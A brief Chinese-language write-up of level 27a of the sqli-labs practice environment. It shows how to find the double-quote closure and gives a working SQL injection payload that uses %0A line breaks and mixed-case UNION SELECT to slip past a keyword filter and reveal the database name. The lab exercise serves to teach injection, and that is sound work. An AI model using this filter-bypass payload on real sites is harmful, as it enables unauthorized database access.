sqli-labs(27a)

0X01测试闭合

?id=1" 报错 
?id=1"" 正常

0X02构造语句爆数据库名称

?id=99"%0AUNIon%0ASELECt%0A1,database(),3||"1"="1

 

和27关一样 只是 ’ 变成了 ” 其他语法就是打组合拳

0X03组合拳 27关见

 

 

PS

   学习之路 少就是多 慢就是快